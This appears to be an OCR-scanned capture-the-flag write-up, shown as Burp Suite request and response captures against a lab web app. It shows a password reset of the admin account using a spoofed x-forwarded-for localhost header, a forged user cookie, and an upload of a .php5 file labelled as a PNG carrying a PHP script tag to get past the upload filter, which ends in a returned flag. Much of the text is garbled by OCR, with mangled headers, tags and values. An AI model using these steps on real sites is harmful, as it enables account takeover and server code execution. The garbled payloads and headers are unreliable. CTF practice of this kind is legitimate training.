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<div class="form-box">

<form acticon="index.php?module=findpwd&step=2&doSubmit=yes" method="post">

<input type="hidden" name="username"” wvalue="1">

<p>
<input class="px" type="password" name="newpwd" placeholder="Newpwd" />
</p>
<p>
<button type="submit">
Reset
</button>
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Request

Pretty \n  Actions v

POST /index.php?module=findpwdistep=2&doSubmit=yes HTTE/1.1

Host: 220.249.52.134:50738

Content-Length: 27

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://220.249.52.134:50738

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) BAppleWebKit/537.36 (KHTML, like
Gecko) Chrome/85.0.4183.102 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,inage/webp, image/apng,*/*;q=
0.8,application/signed-exchange;v=b3;g=0.9

10 Referer: http://220.249.52.134:50738/index.php?module=findpwdsstep=1&doSubmit=yes

11 Accept-Encoding: gzip, deflate

1z Accept-Language: en-US,en;q=0.9,zh;q=0.8,en-AS;q=0.7,zh-CN;q=0.6

13 Cockie: PHPSESSID=9jhgfnkfcd97snalloo3nlldvé

14 x-forwarded-for: 127.0.0.1

15 Connection: close
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17 username=admininewpwd=admin

Response

Raw Render \n Actions v

HTTP/1.1 200 OK
Date: Sun, 27 Dec 2020 14:49:36 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-lubuntu4.26
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Aecept-Encoding
Content-Length: 227
10 Connection: close
11 Content-Type: text/html
12
13 <!DOCTYPE html>
14 <html>
15 <head>
16 <title>
Message
</title>
17 <meta charset="UTF-8" />
18| </head>
13 <body>
20 <script>
alert('Reset successfully! ');
</script>
<seript>
window. location.href="index.php"
</script>
</body>
</html>]
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Request
Pretty \n Actions v

1 GET /index.php?module=index&do=memberguid=2 HTTE/1.1

Host: 220.249.52.134:50738

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/B5.0.4183.102 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/webp,image /apng,*/*;g=
0.8,application/signed-exchange;v=b3;g=0.9

Referer: http://220.249.52.134:50738/index.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,zh;q=0.8,en-AS;g=0.7,.2h-CN:g=0 6

Cookie: PHPSESSID=9jhqgfnkfc997snalloo3nllavé;| user=4b9987ccafachB8dBfc08d22bbcal97ba I

10 x-forwarded-for: 127.0.0.1
11 Connection: close
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Response

Actions v

Raw Render \n

1 HTTP/1.1 200 OK

2 Date: Sun, 27 Dec 2020 14:59:18 GMT

3 server: hpache/2.4.7 (Ubuntu)

4 X-Powered-By: PHP/5.5.9-lubuntud.26

5 Expires: Thu, 19 Nov 1981 08:52:00 GMT

& Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
7 Pragma: no-cache

4 Vary: Accept-Encoding

9 Content-Length: 211

10 Connection: close

11 Content-Type: text/html
12
13 <!DOCTYPE html>
14 <html>
15 <head>
16 <title>
Message
</title>
17 <meta charset="UTF-8" />
18| </head>
19 <body>
20 <script>
alert('No permission! ');
</seript>
<script>
window. history.go(-1)
</script>
</body>
</html>
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Request

Pretty \n Actions ¥

1 POST /index.php?module=filemanage&do=upload HTTPF/1.1

2 Host: 220.249.52.134:50738

3 Content-Length: 238

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

6|Origin: http://220.249.52.134:50738

7 Content-Type: multipart/fo. t WebKitP darydXM10w¥laeSvgj7Q

4 User-Agent: Mozilla/5.0 (Macmtcsh Intel Mac OS X 10_15 7) AppleWebKit/517.36 (KHTML, like
Gecko) Chrome/85.0.4183.102 Safari/537.36

9 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,image/apng,*/*;q
0.8,application/signed-exchange;v=b3;q=0.9%

10 Reférer: http://220.249.52.134:50738/index.php?medule=filemanagesdo=upload

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;q=0.9,zh;g=0.8,en-AS;g=0.7,zh-CN;g=0.6

13 Cookie: Pu?ssssm--};hqfnkfc9975namousn1uv6- user=4b%987ccafach8d8fc0Bd22bbca7d7ba

14 x-forwarded-for: 127.0.0.

15 Connection: close

16

17 =mme-l WebKitFormBoundarydXM10wXlaeSvg3i7Q

18 Content-Disposition: form-data; name-"upfile“;lfiunama- hot2020-12-27 22.23.03.php5" I

19 Content-Type: image/png

20

21 I:sczipc languags-'php'></suript>I

22

PE) e— WebKitFormBoundarydXM10wXlaeSvgj70-=

24

1. https://mwww.cnblogs.com/gaonuoqi/p/11692694.html

Response

Raw Render \n Actions v

HTTE/1.1 200 OK

Date: Sun, 27 Dec 2020 15:20:58 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-lubuntud.26
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: tore, h t
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 287

Connection: close

Content-Type: text/html

lidate, post-check=0, pre-check=0

<IDOCTYPE html>
<html>
<head>
<title>
Message
</title>
<meta charset="UTF-8"
</head>
<body>
<script>
alert('you have get points,here is the flag:cyberpeace{97c8b6001757decb321240e79d6%49a6)
</seript>

/>

window.location.hrefs"index.php’
</script>
</body>
</html>

2. https://blog.csdn.net/weixin_42499640/article/details/98793342
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